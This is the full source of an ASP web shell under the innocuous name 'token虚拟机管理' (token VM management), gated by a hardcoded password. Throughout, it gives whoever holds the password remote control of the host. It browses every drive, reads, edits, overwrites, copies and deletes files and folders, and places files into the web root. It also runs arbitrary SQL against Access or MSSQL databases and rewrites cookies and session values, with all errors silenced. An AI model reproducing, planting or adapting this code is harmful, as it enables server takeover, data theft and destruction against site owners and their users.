<% response.buffer=true filename=Request.ServerVariables("URL") Server.ScriptTimeout=5000 On Error Resume Next proname="token虚拟机管理" %> <% Dim userpass,Conn,ConnStr,SQL,Help,dbp userpass="ningyouying+-*/" repage=request.servervariables("http_referer") if instr(repage,filename)=0 then repage=filename if request.form("loginpass")<>"" then logincheck(request.form("loginpass")) showerr() response.end end if if session("xl")<>userpass then loginform() showerr() response.end end if if request.querystring("logout")="yes" then logout() showerr() response.end end if if request("up")="yes" then Function GetFileName(ByVal strFile) If strFile <> "" Then GetFileName = mid(strFile,InStrRev(strFile, "\")+1) Else GetFileName = "" End If End function strFileName = Request.Form("file1") filepath=Request.Form("filepath") if instr(filepath,":")>0 then if right(filepath,1)<>"\" then filepath=filepath&"\" else filepath=Server.MapPath(filepath) if right(filepath,1)<>"/" then filepath=filepath&"\" end if Set objStream = Server.CreateObject("ADODB.Stream") objStream.Type = 1 ' adTypeBinary objStream.Open objStream.LoadFromFile strFileName objStream.SaveToFile filepath & GetFileName(strFileName),2 objStream.Close response.write GetFileName(strFileName) & "上传成功
路径："&filepath & GetFileName(strFileName)&"
再传
关闭窗口" showerr() response.end end if if request("showpath")="yes" then searchpath() showerr() response.end end if if request("editpath")<>"" then edittxtfile(request("editpath")) showerr() response.end end if if request.form("textpath")<>"" then call modifyfile(request.form("textpath")) showerr() response.end end if if request("delpath")<>"" then call deletefile(request("delpath")) showerr() response.end end if if request("deldirpath")<>"" then call deletedir(request("deldirpath")) showerr() response.end end if if request("copypath")<>"" then call copyfile(request("copypath")) showerr() response.end end if if request("upfile")="yes" then call upfile() showerr() response.end end if if request("showsc")="yes" then co1=request.form("co1") co2=request.form("co2") cov=request.form("cov") sess1=request.form("sess1") sessv=request.form("sessv") if co1<>"" and co2="" then Response.Cookies(co1).Expires=Date+30 Response.Cookies(co1)=cov end if if request("delsession")<>"" then session.Contents.Remove(request("delsession")) response.redirect"?showsc=yes" response.end end if if request("delcookies")<>"" then Response.Cookies(request("delcookies")).Expires=Date-1 response.redirect"?showsc=yes" response.end end if if co1<>"" and co2<>"" then Response.Cookies(co1).Expires=Date+30 Response.Cookies(co1)(co2)=cov end if if sess1<>"" then 'session.abandon session(sess1)=sessv end if showsc() showerr() response.end end if if request.querystring("cleardata")="yes" then session("dbsourcepath")="" session("sqlstr")="" end if dbp=request("dbsourcepath") if dbp<>"" then session("dbsourcepath")=trim(dbp) if instr(session("dbsourcepath"),":")>0 or instr(LCase(session("dbsourcepath")),"sql server")>0 or instr(LCase(session("dbsourcepath")),"dsn=")>0 then dbp=session("dbsourcepath") else dbp=Server.MapPath(session("dbsourcepath")) end if sqlstr=trim(request("sqlstr")) if sqlstr<>"" then session("sqlstr")=sqlstr Help="\tsql基础知识\n\n1.数据库查询：Select用法\n" Help=Help&"\tSelect [Top(数值)] 字段列表 From 数据表 [Where 条件] [Order by 字段] [asc或desc]\n" Help=Help&"\n2.添加数据：Insert Into用法\n" Help=Help&"\tInsert Into 数据表(字段1,字段2,字段3,…) Values(字段1的值,字段2的值,字段3的值,…)\n" Help=Help&"\n3.删除数据：Delete用法\n" Help=Help&"\tDelete From 数据表 [Where 条件]\n" Help=Help&"\n4.更新数据：Update用法\n" Help=Help&"\tUpdate 数据表 Set 字段1=字段值1, 字段2=字段值2, … [Where 条件]\n" Help=Help&"\n5.建数据表：Create Table用法\n" Help=Help&"\tCreate Table 数据表名(字段1名称,字段1类型,字段2名称 字段2类型, …)\n" Help=Help&"\tAccess数据表常用数据类型:Text,Char(Number),Memo,Number,Int,Date/Time,Logical,OLEObject\n" Help=Help&"\t自动编号字段添加例子:create table aaa(id int identity (1, 1) not null,abc varchar(25) null)\n" Help=Help&"\n6.改数据表：Alter Table用法\n" Help=Help&"\t添加字段：Alter Table 数据表名 Add Column 字段名 字段类型\n" Help=Help&"\t删除字段：Alter Table 数据表名 Drop Column 字段名\n" Help=Help&"\n7.删数据表：Drop Table用法\n" Help=Help&"\tDrop Table 数据表名\n\n" Help=Help&"\t本程序使用说明：\n数据库路径是必须要有的，相对路径或绝对路径均可,本版加入MSSQL连接功能；\n" help=help&"\tMSSQL连接示例：在数据库地址处输入server=localhost;Database=dbname;Uid=userid;Pwd=password;Driver={SQL SERVER}\n" Help=Help&"\n点“寻找数据库”按钮即可打开新窗口寻找服务器下的文件；\n" Help=Help&"大文本框是用来输入ＳＱＬ语句的，输入后点执行即可运行ＳＱＬ语句\n" Help=Help&"要清除上一次操作点击程序初始化按钮即可\n" Help=Help&"\t\nCOOKIES设置方法：在COOKIES第一输入框中输入COOKIES名称如设不设数组第二个框留空,第三框输入COOKIES值\n" %> <%sub showsc()%>

response.cookies(" ")(" ")=" "

<% response.write"当前本站点保存在你机上的所有COOKIES如下： " For Each Item in Request.Cookies If Request.Cookies(Item).HasKeys Then For Each ItemKey in Request.Cookies(Item) Response.Write "response.cookies('"&Item &"')('"&ItemKey&"')="& Request.Cookies(Item)(ItemKey)& "删 " Next Else Response.Write "response.cookies('"&Item &"')="& Request.Cookies(Item) & "删 " End If Next %>

session(" ")=" "

<% Response.Write "你在该站点上的SESSION数量: " & Session.Contents.Count&" " For Each strName in Session.Contents If IsArray(Session(strName)) then For iLoop = LBound(Session(strName)) to UBound(Session(strName)) Response.Write "session('"&strName & ")(" & iLoop & ") = " & Session(strName)(iLoop) & "删 " Next Else Response.Write "session('"&strName & "') = " & Session.Contents(strName) & "删 " End If next %>

<%end sub%>

数据库路径或MSSQL连接字符串： " size="40" title="如果是MSSQL数据库请在此处填上连接参数：格式：server=servername;Database=dbname;Uid=userid;Pwd=password;Driver={SQL SERVER}如是ACCESS数据库请填写MDB文件的相对或绝对路径,下方输入框为空点击执行按钮则显示数据表结构">
<%=session("sqlstr")%>

<% Conntting(dbp) response.write"
" showtable() response.write"

" if session("sqlstr")<>"" then if LCase(left(session("sqlstr"),6))="select" then response.write "执行语句："&session("sqlstr") set rs=server.createobject("adodb.recordset") rs.open session("sqlstr"),conn,1,1 errorinfo() shownum=rs.fields.count rs.pagesize=20 count=rs.pagesize page=request.querystring("page") if page<>"" then page=clng(page) if page="" or page=0 then page=1 pgnm=rs.pagecount if page>pgnm then page=pgnm if page>1 then rs.absolutepage=page response.write"" for n=0 to shownum-1 set fld=rs.fields.item(n) response.write"" next set fld=nothing response.write"" do while not (rs.eof or rs.bof) and count>0 count=count-1 bgcolor="#efefef" response.write"" for i=0 to shownum if bgcolor="#efefef" then bgcolor="#f5f5f5" else bgcolor="#efefef" end if response.write"" next response.write"" rs.movenext loop response.write"

	"&fld.name&"
x	"&left(rs(i),50)&"
记录数："&rs.recordcount&" 页码："&page&"/"&pgnm if pgnm>1 then response.write"  首页 上一页" response.write" 下一页 尾页" end if response.write"

" rs.close set rs=nothing else conn.execute(session("sqlstr")) response.write "执行语句："&session("sqlstr") errorinfo() end if end if sub errorinfo() If Err Then Response.Write "操作失败，原因：" & Err.Description & "
" if left(session("sqlstr"),6)="select" then rs.close set rs=nothing end if conn.close set conn=nothing Err.Clear Response.Flush Else Response.Write "操作成功
" Response.Flush End If end sub sub showtable() set rs=Conn.openSchema(20) response.write"" rs.movefirst do while not rs.eof if rs("TABLE_TYPE")="TABLE" then response.write"" end if rs.movenext Loop response.write"

表 名	删 " response.write""&rs("TABLE_NAME")&"

" set rs=nothing end sub conn.close set conn=nothing copyright() Sub Conntting(dbp) Set Conn = Server.CreateObject("ADODB.Connection") if instr(LCase(dbp),"sql server")>0 or instr(LCase(dbp),"dsn=")>0 then ConnStr=dbp else ConnStr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source ="&dbp end if Conn.Open ConnStr If Err Then Err.Clear conn.close Set Conn = Nothing Response.Write "请确认您输入的数据库地址是否正确。" Response.End End If End Sub sub searchpath() response.write"" set f=server.createobject("scripting.filesystemobject") For Each thing in f.Drives Response.write ""&thing.DriveLetter&"盘: " NEXT path=request("path") if path<>"" then if instr(path,":")>0 then path=path else path=Server.MapPath(path) end if else path=server.mappath("/") end if opath=request("opath") response.write "
当前路径："&path set fold=f.getfolder(path) response.write"
" response.write "" for each item in fold.subfolders jpath=replace(path,"\","\\") response.write "" next for each item in fold.files fpath=replace(path&"\"&item.name,"\","\\") response.write "" next response.write "" response.write"

0 回上级目录   上传文件

0 "&item.name&"" response.write"  删除目录

2 "&item.name&"  " aaa=split(item.name,".") if LCase(aaa(1))="txt" or LCase(aaa(1))="htm" or LCase(aaa(1))="asa" or LCase(aaa(1))="html" or LCase(aaa(1))="shtml" or LCase(aaa(1))="asp"or LCase(aaa(1))="inc" then response.write"编辑  " end if response.write"删除  " response.write"复制

0 返回站点根目录

" set fold=nothing set f=nothing end sub sub copyfile(sfile) if request.form("mbfilepath")<>"" then set f=server.createobject("scripting.filesystemobject") mbfilepath=request.form("mbfilepath") if instr(mbfilepath,":")>0 then if right(mbfilepath,1)<>"\" then mbfilepath=mbfilepath&"\" else mbfilepath=Server.MapPath(mbfilepath) if right(mbfilepath,1)<>"/" then mbfilepath=mbfilepath&"\" end if f.copyfile sfile,mbfilepath response.write"复制成功" response.end else response.write"

" response.write"从"&sfile&"
" response.write"复制到：" response.write"" response.write"

" end if end sub sub edittxtfile(tpath) response.write"" set f=server.createobject("scripting.filesystemobject") set txtfile=f.opentextfile(tpath, 1, False) counter=0 txtcontent=txtfile.readall txtfile.close response.write"

" response.write" 文件路径：" response.write" " response.write""&txtcontent&" " response.write"     " response.write"

" set f=nothing end sub sub modifyfile(mpath) Set fs = CreateObject("Scripting.FileSystemObject") Set outfile=fs.CreateTextFile(mpath) outfile.WriteLine Request.form("content") outfile.close set fs=nothing Response.write "修改成功！1秒钟后自动关闭此页!" response.write"" response.write"" end sub sub deletefile(dfpath) Set fs = CreateObject("Scripting.FileSystemObject") fs.deletefile dfpath set fs=nothing Response.write "删除成功！程序将自动刷新上一页！" response.write"" response.write"" end sub sub deletedir(dirpath) Set f = CreateObject("Scripting.FileSystemObject") if f.folderexists(dirpath) then f.deletefolder dirpath set f=nothing end if Response.write "目录"&dirpath&"
删除成功！程序将自动刷新上一页！" response.write"" response.write"" end sub sub loginform() response.write"

我爱晓霞

输入密码： 

" end sub sub logincheck(upass) if upass=userpass then session("xl")=userpass response.redirect repage else response.write"密码错误！你想干什么？" end if end sub sub logout() session("xl")="" response.redirect filename end sub sub showerr() If Err Then Response.Write Err.Description Err.Clear Response.Flush End If end sub sub upfile() %>

上传路径：

<% end sub %>